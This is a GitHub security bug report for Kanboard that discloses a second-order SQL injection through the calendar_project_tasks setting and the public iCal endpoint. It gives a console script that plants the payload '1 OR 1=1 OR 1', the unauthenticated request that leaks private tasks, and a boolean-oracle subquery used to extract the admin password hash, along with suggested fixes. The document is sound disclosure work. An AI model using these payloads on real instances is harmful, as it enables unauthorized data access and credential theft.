[Bug]: second order SQLi in public iCal endpoint
Bug Summary
The calendar_project_tasks setting is inserted into an SQL WHERE clause as is, so it can be used to inject SQL that is executed by the unauthenticated iCal endpoint.
Description
ICalendarController builds a SQL query by string concatenation from the calendar_project_tasks setting:
app/Controller/ICalendarController.php
$startColumn = $this->configModel->get('calendar_project_tasks', 'date_started');
...
$start_column = $this->db->escapeIdentifier($start_column);
return $start_column.' IS NOT NULL AND '.$start_column.' > 0 AND ('.implode(' OR ', $conditions).')';
escapeIdentifier() returns the value unchanged when it contains a space or a dot:
libs/picodb/lib/PicoDb/Database.php
if (strpos($value, '.') !== false || strpos($value, ' ') !== false) {
return $value;
}
This is the same escapeIdentifier behaviour described as the root cause in GHSA-f62r-m4mr-2xhh, but in ICalendarController it only added an int cast on the two timestamps, so this call site is still reachable.
Writing the setting requires an app admin, but it has no field in the UI. CurrencyController::update() passes the whole request to configModel->save() with no whitelist.
Steps to Reproduce
log in as an administrator.
create a second project that is NOT public and has no calendar token, and add a task to it, for example "CONFIDENTIAL - Q4 salary review". a public project with a calendar token should exist.
go to Settings -> currency -> change reference currency, open f12 console and add a field to the form like:
(()=>{const f=document.querySelector('form[action*="CurrencyController"]');const i=document.createElement('input');i.type='hidden';i.name='calendar_project_tasks';i.value="1 OR 1=1 OR 1";f.appendChild(i);})();
then save. The value is saved even though the form has no such field.
- log out and as an unauthenticated visitor, request the PUBLIC project's calendar:
/?controller=ICalendarController&action=project&token=<public project token>
Expected Behavior
The calendar of a public project should only contain tasks of that project, and a stored setting should never be able to change the SQL that is executed.
Actual Behavior
The response contains tasks from every project in the instance, including the private project that has no calendar token:
UID:task-#3-1 OR 1=1 OR 1-date_due
URL:http://localhost//?controller=TaskViewController&action=show&task_id=3
SUMMARY:#3 CONFIDENTIAL - Q4 salary review
ATTENDEE;CN=admin:MAILTO:[email protected]The injected string also appears in the UID, which shows it is used where a column name is expected.
The condition is fully attacker controlled, so it can also be used as a boolean oracle. Using (SELECT unicode(substr(password,POS,1)) FROM users WHERE username='admin')>N OR 0 and reading only whether the public calendar returns events, I extracted the administrator bcrypt hash through unauthenticated requests:
leaked: $2y$10$nt1yJktuWeZcv
actual: $2y$10$nt1yJktuWeZcvVersion
cf53b545, 1.2.54
Database
mysql
PHP Version
8.3
Browser
chrome 120
Operating System
window 11
Relevant Logs or Error Output
Warning: Undefined array key "1 OR 1=1 OR 1" in app/Formatter/TaskICalFormatter.php on line 66Additional Context
validate calendar_project_tasks against the allowed column names before using it, or build the condition with bound parameters instead of concatenation. Wrapping each condition in parentheses in ConditionBuilder::build() would also stop an injected OR from cancelling the other filters.
i also attach PoC video for easy understanding.
thanks for maintaining yout open source web application.
Login - Chrome 2026-09-25 01-27-20.zip
Checklist
- I have searched existing issues to ensure this bug hasn't been reported before.
- I verified that the problem is not caused by a plugin. Please report the issue to the plugin author if applicable.
Source: kanboard/kanboard